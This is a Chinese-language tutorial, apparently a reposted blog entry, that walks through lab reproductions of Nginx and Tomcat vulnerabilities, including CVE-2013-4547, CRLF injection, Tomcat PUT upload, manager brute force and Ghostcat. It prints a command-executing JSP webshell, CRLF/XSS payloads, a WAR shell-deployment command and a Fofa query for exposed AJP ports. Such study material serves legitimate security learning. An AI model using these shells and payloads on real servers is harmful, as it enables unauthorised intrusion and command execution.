中间件安全Tomcat&Nginx解析&爆破&CVE漏洞

Posted 遗憾zzz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了中间件安全Tomcat&Nginx解析&爆破&CVE漏洞相关的知识,希望对你有一定的参考价值。

一、Nginx-漏洞-解析&CVE-2013-4547

Nginx 解析漏洞原理
1、由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,为此可以构造http://ip/uploadfiles/test.png/.php (url结尾不一定是‘.php’,任何服务器端不存在的php文件均可,比如’a.php’),其中test.png是我们上传的包含PHP代码的照片文件。
2、但是fastcgi在处理’.php’文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了’/test.png’。
3、最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将’.png’等文件当做代码解析。

由此可知,该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

漏洞复现
任意上传一个图片马,访问


增加/.php后缀,被解析成PHP文件:

Nginx 文件名逻辑漏洞(CVE-2013-4547)漏洞原理
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:

location ~ \\.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。

而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php,这个URI可以匹配上正则.php$,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20],就设置其为SCRIPT_FILENAME的值发送给fastcgi。

fastcgi根据SCRIPT_FILENAME的值进行解析,最后造成了解析漏洞。

所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。

再举个例子,比如很多网站限制了允许访问后台的IP:

location /admin/ {
    allow 127.0.0.1;
    deny all;
}

我们可以请求如下URI:/test[0x20]/…/admin/index.php,这个URI不会匹配上location后面的/admin/,也就绕过了其中的IP验证;但最后请求的是/test[0x20]/…/admin/index.php文件,也就是/admin/index.php,成功访问到后台。(这个前提是需要有一个目录叫“test ”:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)

漏洞复现
这个环境是黑名单验证,我们无法上传php后缀的文件,需要利用CVE-2013-4547。我们上传一个“1.jpg ”,注意后面的空格


访问http://your-ip:8080/uploadfiles/2.jpg[0x20][0x00].php,即可发现PHP已被解析:

二、Nginx-配置-CRLF注入

Nginx-CRLF注入漏洞原理
Nginx会将$uri进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。
错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):

location / {
    return 302 https://$host$uri;
}

漏洞复现
环境搭建好之后,直接抓包查看,ip:192.168.111.130:8080


在请求行的url参数中加入特殊构造的CRLF字符如下

%0a%0dSet-Cookie=crlf=true


可以看到输入的恶意数据,作为响应首部字段返回给了客户端,原理就是当检测到%0d%0a后,就认为url字段这行结束了,Set-Cookie就会被认为是下一行

所以构造xss payload

%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>/


就可以看到xss代码被写入了html代码中

CRLF注入脚本自动检测
CRLFuzz:https://github.com/dwisiswant0/crlfuzz/releases
使用方法:直接 -u 加上url地址就行

CRLF注入参考:https://blog.csdn.net/weixin_37968613/article/details/107470182

三、Tomcat-漏洞-CVE2017-2020(PUT写入)

Tomcat-CVE2017-2020漏洞原理
在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码

参考:
https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e
https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5

漏洞复现
搭建好环境如下

虽然Tomcat在一定程度上会检查文件后缀(不能直接写jsp),但我们仍然可以通过一些文件系统特性(比如使用 /在 Linux 中)直接发送以下数据包,shell就会写入Web根目录。

jsp一句话 ?pwd=123&cmd=id
<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

四、Tomcat-配置-弱口令&爆破

Tomcat 支持通过后端部署war 文件,所以我们可以直接将webshel​​l 放到web 目录中。 为了访问后端,需要权限。

Tomcat7+的权限如下:

manager(后台管理)
    manager-gui(html页面权限)
    manager-status(查看状态的权限)
    manager-script(文本界面权限和状态权限)
    manager-jmx(jmx 权限和状态权限)
host-manager(虚拟主机管理)
    admin-gui(html页面权限)
    admin-script(文本界面权限)

要了解有关权限的更多信息,请阅读:http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html

用户权限配置在 conf/tomcat-users.xml文件:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />

</tomcat-users>

可以看出,用户tomcat拥有上述所有权限,密码为 tomcat.

正常安装Tomcat8默认没有用户,管理页面只允许本地IP访问。 只有管​​理员手动修改了这些属性,我们才能进行攻击。

弱口令&爆破复现
搭好环境如下

打开tomcat管理页面 http://your-ip:8080/manager/html

我们抓包会发现这里的用户名和密码和平时的数据不一样,它进行了base64加密


base64解密就出现了我们输入的tomcat:123,为了实现爆破我们发送到Intruder模块

这里选择自定义模块,第一添加用户名


第二就是以冒号为间隔


第三添加密码

最后在Payload Processing选择对上面的字典进行编码


记住最后这里把勾勾去掉,不然就不会把==进行编码

完事之后发送数据包


base解密出来用户名密码tomcat进行登陆

在这里部署war上传shell

jar -cvf shell.war 1.jsp


就这样getshell

五、Tomcat AJP 任意文件读取/包含漏洞(CVE-2020-1938)

Ghostcat 长亭 是 科技安全研究员发现的Tomcat中的一个严重漏洞。 由于 Tomcat AJP 协议中的一个缺陷,攻击者可以读取或包含 Tomcat 的 webapp 目录中的任何文件。 例如,攻击者可以读取 webapp 配置文件或源代码。 此外,如果目标Web应用程序具有文件上传功能,攻击者可以通过Ghostcat漏洞利用文件包含在目标主机上执行恶意代码。

参考:
https://www.chaitin.cn/en/ghostcat
https://www.cnvd.org.cn/webinfo/show/5415
https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ

漏洞信息收集

Fofa:"tomcat" && port="8009" 
Apache Tomcat 6

影响版本

Tomcat 7系列  <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31

漏洞检测工具:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

漏洞复现
搭建好环境如下

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.111.130 -p 8009 -f /WEB-INF/web.xml


表示存在任意文件读取/包含漏洞

以上是关于中间件安全Tomcat&Nginx解析&爆破&CVE漏洞的主要内容,如果未能解决你的问题,请参考以下文章

Web安全:中间件漏洞

总结 | Web中间件常见安全漏洞

[漏洞复现] [Vulhub靶机] Tomcat7+ 弱口令 && 后台getshell漏洞

Java安全之基于Tomcat的Servlet&Listener内存马

中间件安全Apache&IIS解析&短文件&CVE漏洞

2022年全国职业院校技能大赛(中职组)网络安全赛项A模块解析